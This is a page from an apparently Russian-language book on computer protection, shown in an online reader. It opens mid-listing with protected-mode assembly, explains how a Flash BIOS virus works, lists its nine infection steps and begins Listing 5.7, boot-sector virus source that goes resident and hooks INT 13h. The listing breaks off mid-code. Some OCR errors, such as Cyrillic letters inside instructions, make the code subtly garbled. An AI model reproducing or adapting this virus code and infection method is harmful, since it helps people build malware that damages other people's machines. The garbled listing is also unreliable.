Чтение онлайн

на главную

Жанры

Защити свой компьютер на 100% от вирусов и хакеров
Шрифт:

out KBD_PORT_A, al

ret

enable_a20 ENDP

disable_a20 PROC

mov al, A20_PORT

out STATUS_PORT, al

mov al, A20_OFF

out KBD_PORT_A, al

ret

disable_a20 ENDP

; Здесь сохраняется адрес стека

real_sp dw ?

real_ss dw ?

; Эта строка выводится на экран после работы программы ;

Символ "?" заменяется на "L" в защищенном режиме

qw db 13,10,"?ight General",13,10,"$"

; Глобальная таблица

дескрипторов. Нулевой дескриптор

; обязательно должен быть "пустым"

GDT_BEG=$

gdtr label WORD

gdt_0 desc_struc <0,0,0,0,0>;

gdt_gdt desc_struc <GDT_SIZE-10,DATA_ACC,0>

gdt_ds desc_struc <DSEG_SIZE-10,DATA_ACC,0>

gdt_cs desc_struc <CSEG_SIZE-10,CODE_ACC,0>

gdt_ss desc_struc <STACK_SIZE-10,DATA_ACC,0>

GDT_SIZE=($-GDT_BEG)

END start

FLASH BIOS – почему бы и нет! Самая обычная ситуация – это когда код привязан к файловой системе и/или является резидентным (выполняющимся в оперативной памяти). Но что если вирусный код работает в BIOS?!

Да-да, именно, а почему бы и нет. Отлов и уничтожение такого "зверя" потребует от антивирусной программы чего-то большего, а именно – возможности трассировать прерывание INT 16h.

ПРИМЕЧАНИЕ

Прерывание (от англ. interrupt) – сигнал, сообщающий процессору о совершении какого-либо события. Прерывание подразумевает приостановку выполнения текущей последовательности команд и передачу управления обработчику прерывания.

Почему все так сложно и как с этим связан антивирусный монитор?

Все дело в том, что BIOS (AMI, например) обладает некоторыми особенностями работы в микросхемах Flash-памяти, которые базируются на использовании функции EOh прерывания INT 16h. Внесенный в данную область памяти вирус впоследствии запрещает повторно использовать указанную функцию. Как следствие, это запретит антивирусным программам воспользоваться ею в процессе удаления вируса из BIOS компьютера. Как же это все работает?

Алгоритм работы вируса, "живущего" в BIOS, выглядит следующим образом.

1. Вирус проверяет систему на наличие Flash BIOS.

2. Далее идет проверка на зараженность Flash BIOS (если BIOS чист – то "ОК", иначе – осуществить выход).

3. Считывается вектор INT 19h из таблицы (прерывание загрузки).

4. Читает первые пять байт от точки входа INT 19h.

5. Проверяет свободное место в микросхеме BIOS (поиск области нулей).

6. Устанавливает память Flash BIOS в режим записи (нормальное ее состояние в режиме чтения).

7. Запись вируса в найденную свободную область.

8. Запись перехода на вирус

в точку входа INT 19h.

9. Возврат Flash BIOS в режим "только чтение".

Вот, собственно, и сам код с комментариями (листинг 5.7):

Листинг 5.7. Код вируса, поражающего BIOS ;

Вирусный код, заражающий Flash BIOS.

; Наиболее опасен тем, что при заражении нельзя будет загрузиться ;

даже с "чистой" дискеты.

org 0

; При входе в boot-сектор 01=загрузочный диск

mov si, 7C00h ;

Устанавливаем 0000h в регистрах DS и ES

хог ах, ах

mov es, ax

mov ds, ax

; Устанавливаем значение стека 0000h:7C00h

cli

mov ss, ax

mov sp, si

sti

; Уменьшаем на 1Кбайт память (0040h:0013h)

dec word ptr [0413h] ;

Получаем размер памяти (при возврате в АХ)

int 12h

mov cl, 6

shl ax, cl

; Устанавливаем новый сегмент вируса

mov es, ax

; Переносим вирусный сектор в вершину памяти

xor di, di

mov cx, 200h

cld

rep movsb

; Сохраняем вектор прерывания INT 13h

mov ax, word ptr [13h*4]

mov word ptr es: [off set i13], ax

mov ax, word ptr [13h*4+2]

mov word ptr es: [offset i13+2], ax

; Устанавливаем новый вектор прерывания INT 13h

mov word ptr [13h*4], offset Handler

mov word ptr [13h*4+2], es

; Переходим в точку ES:Restart (в копии вируса,

; находящейся в вершине памяти)

already_resident:

push es

mov ax, offset Restart

push ax

retf

; Ниже программа работает уже в вершине памяти

Restart:

; Загружаем оригинальный boot-сектор из конца

; root directory и передаем ему управление

xor ах, ах

call int13h

; Готовим регистры для загрузки оригинального boot-сектора

хог ах, ах

mov es, ax

; Сегмент для загрузки

mov bx, 7C00h

; Смещение для загрузки

mov cx, 0002h

; Дорожка 0, сектор 2

xor dh, dh

; Головка 0

mov ax, 0201h ;

Функция 2, количество секторов 1

; Проверяем загрузочный диск. 80h и выше – это адрес жесткого диска,

; иначе – дискета. Копию оригинального boot-сектора храним :

; на жестком диске – дорожка 0, головка 0, сектор 2;

; на дискете – дорожка 0, головка 1, сектор 14

cmp dl, 80h

jae MBR_Loader

; Грузимся с дискеты: изменим сектор и головку

mov с1, 14 ; Сектор 14

mov dh, 1 ; Головка 1

; 3агрузим оригинальный boot-сектор по адресу 0000h:7C00h

Поделиться:
Популярные книги

Последний Паладин. Том 4

Саваровский Роман
4. Путь Паладина
Фантастика:
фэнтези
попаданцы
аниме
5.00
рейтинг книги
Последний Паладин. Том 4

Всадники бедствия

Мантикор Артемис
8. Покоривший СТЕНУ
Фантастика:
фэнтези
попаданцы
рпг
5.00
рейтинг книги
Всадники бедствия

Корсар

Русич Антон
Вселенная EVE Online
Фантастика:
боевая фантастика
космическая фантастика
6.29
рейтинг книги
Корсар

Империя ускоряется

Тамбовский Сергей
4. Империя у края
Фантастика:
альтернативная история
6.20
рейтинг книги
Империя ускоряется

Чужбина

Седой Василий
2. Дворянская кровь
Фантастика:
попаданцы
альтернативная история
5.00
рейтинг книги
Чужбина

Аномальный наследник. Том 1 и Том 2

Тарс Элиан
1. Аномальный наследник
Фантастика:
боевая фантастика
альтернативная история
8.50
рейтинг книги
Аномальный наследник. Том 1 и Том 2

Имя нам Легион. Том 8

Дорничев Дмитрий
8. Меж двух миров
Фантастика:
боевая фантастика
рпг
аниме
5.00
рейтинг книги
Имя нам Легион. Том 8

Новый Рал 2

Северный Лис
2. Рал!
Фантастика:
фэнтези
7.62
рейтинг книги
Новый Рал 2

Ведьма и Вожак

Суббота Светлана
Фантастика:
фэнтези
7.88
рейтинг книги
Ведьма и Вожак

Лорд Системы 8

Токсик Саша
8. Лорд Системы
Фантастика:
фэнтези
попаданцы
рпг
5.00
рейтинг книги
Лорд Системы 8

Курсант: назад в СССР 9

Дамиров Рафаэль
9. Курсант
Фантастика:
попаданцы
альтернативная история
5.00
рейтинг книги
Курсант: назад в СССР 9

Идеальный мир для Лекаря 21

Сапфир Олег
21. Лекарь
Фантастика:
фэнтези
юмористическое фэнтези
аниме
5.00
рейтинг книги
Идеальный мир для Лекаря 21

Возвращение Безумного Бога 2

Тесленок Кирилл Геннадьевич
2. Возвращение Безумного Бога
Фантастика:
попаданцы
рпг
аниме
5.00
рейтинг книги
Возвращение Безумного Бога 2

Бастард Императора. Том 3

Орлов Андрей Юрьевич
3. Бастард Императора
Фантастика:
попаданцы
аниме
фэнтези
5.00
рейтинг книги
Бастард Императора. Том 3